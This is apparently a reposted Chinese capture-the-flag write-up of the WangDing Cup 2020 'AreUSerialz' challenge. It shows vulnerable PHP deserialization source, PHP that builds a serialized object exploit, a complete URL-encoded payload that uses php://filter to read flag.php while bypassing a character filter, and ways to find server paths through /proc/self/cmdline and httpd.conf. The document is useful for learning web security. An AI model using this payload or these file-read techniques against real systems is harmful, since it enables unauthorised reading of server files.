zoukankan      html  css  js  c++  java
  • 网鼎杯2020 AreUSerialz

    0x00 前言

    ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓。其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹。

    涉及知识点:

    1.php中protected变量反序列化的小Trick

    2.获取任意文件读取权限后的文件绝对路径的查找

    <!--more-->

    0x01 源码

    直接进入题目就可以看到源码了。

    <?php

    include("flag.php");

    highlight_file(__FILE__);

    class FileHandler {

       protected $op;
       protected $filename;
       protected $content;

       function __construct() {
           $op = "1";
           $filename = "/tmp/tmpfile";
           $content = "Hello World!";
           $this->process();
      }

       public function process() {
           if($this->op == "1") {
               $this->write();
          } else if($this->op == "2") {
               $res = $this->read();
               $this->output($res);
          } else {
               $this->output("Bad Hacker!");
          }
      }

       private function write() {
           if(isset($this->filename) && isset($this->content)) {
               if(strlen((string)$this->content) > 100) {
                   $this->output("Too long!");
                   die();
              }
               $res = file_put_contents($this->filename, $this->content);
               if($res) $this->output("Successful!");
               else $this->output("Failed!");
          } else {
               $this->output("Failed!");
          }
      }

       private function read() {
           $res = "";
           if(isset($this->filename)) {
               $res = file_get_contents($this->filename);
          }
           return $res;
      }

       private function output($s) {
           echo "[Result]: <br>";
           echo $s;
      }

       function __destruct() {
           if($this->op === "2")
               $this->op = "1";
           $this->content = "";
           $this->process();
      }

    }

    function is_valid($s) {
       for($i = 0; $i < strlen($s); $i++)
           if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
               return false;
       return true;
    }

    if(isset($_GET{'str'})) {

       $str = (string)$_GET['str'];
       if(is_valid($str)) {
           $obj = unserialize($str);
      }

    }

    0x02 分析

    1.第一步-弱类型比较

    大致讲一下比赛时候的分析过程吧。我吃完饭回来,队友突然给我来了一句__construct构造函数可以调用process函数,我迷惑了一秒,我之前一直以为这是一道反序列化的。然后赶紧查了一下资料,还好反序列化可以操纵的魔术方法中没有__construct,记录一下。

    分析源码发现可以调用的魔术方法只有__destruct。而$op=2可以读文件,$op=1可以写文件,但是它把$content设置为0说明写这个操作是绝对实用不了了。那么我们把目光放在读文件上。

    if($this->op === "2")
               $this->op = "1";

    else if($this->op == "2") {
               $res = $this->read();
               $this->output($res);
    }

    这个放在这里应该没有人不会绕过吧。直接弱类型比较设置$op=2就完事了。然后本来以为可以直接构造pop链开始读文件的。但是遇到了下面的函数:

    function is_valid($s) {
       for($i = 0; $i < strlen($s); $i++)
           if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
               return false;
       return true;
    }

    本来这里是没有什么问题的,但是因为你的变量是protected类型的,所以会产生%00字符,从而导致绕过失败。

    2.第二步-绕过is_valid()

    这里其实有两种绕过方法,这里都讲一下吧。

    1.可以将protected类型的变量设置为public类型。然后就可以轻松绕过了。

    <?php
    class FileHandler {

       public $op = 2;
       public  $filename = "";
       public  $content = "Hello";

    }

    $a = new FileHandler();
    $a->filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php";
    $b = serialize($a);
    echo $b;

    ?>

    2.反序列化之前会做逐字判断,ascii必须>=32或<=125。由于这里是protected类型,需要加上%00进行标识 但是%会被过滤,就用十六进制0和S来绕过。

    <?php
    class FileHandler {

       protected $op = 2;
       protected  $filename = "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php";
       protected  $content = "Hello";

    }

    $a = new FileHandler();
    $b = urlencode(serialize($a));
    echo $b;
    ?>

    然后将payload中的%00替换为0s替换为S就行了。替换后的payload如下:

    O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%220%2A0op%22%3Bi%3A2%3BS%3A11%3A%220%2A0filename%22%3Bs%3A71%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3BS%3A10%3A%220%2A0content%22%3Bs%3A5%3A%22Hello%22%3B%7D

    然后到这里,BUUCTF上的题目就可以直接读取flag了。

    image-20200511144722884

    但是到这里网鼎杯的题却没有出来,当时没有截图,不过有幸找到了WriteUp。这里分析一下。

    3.获取目标的绝对路径

    网鼎杯中直接用相对路径读取发现会没有回显。猜测后端中修改了include函数的路径,也不对啊,非预期就是读同一级的flag.php啊?搞不明白好吧。反正使用绝对路径是绝对没有问题的。那么有了任意文件读取权限怎么获取绝对路径呢?

    首先可以读取/proc/self/cmdline这个文件。可以获得如下结果。

    img

    然后读取配置文件/web/config/httpd.conf。获得网站的绝对路径。

    技术图片

    然后读取/web/html/flag.php就好了。

    这里BUU就不要尝试,因为你发现,BUU使用的是apache2。根目录就是我们熟悉的/var/www/html

    0x03 结语

    还行,通过这道题目学到了很多。尤其是S0绕过。学WEB的师傅可以找我玩啊,可以一起学习一起进步的-->_<--。

    QQ:550532788

    0x04 参考

    http://www.mamicode.com/info-detail-3004276.html

     

     

     

     

  • 相关阅读:
    FineReport——函数
    FineReport——插入行策略
    FineReport——JS二次开发(CSS改变控件样式)
    FineReport——JS二次开发(下拉框)
    汽车系统
    Ubuntu Software setup
    Win 10 乱码 & 字体横过去了
    U-boot 2016.11 代码结构 dra7xx
    samba Ubuntu 16.04
    ftp Ubuntu16.04
  • 原文地址:https://www.cnblogs.com/cioi/p/12869294.html
Copyright © 2011-2022 走看看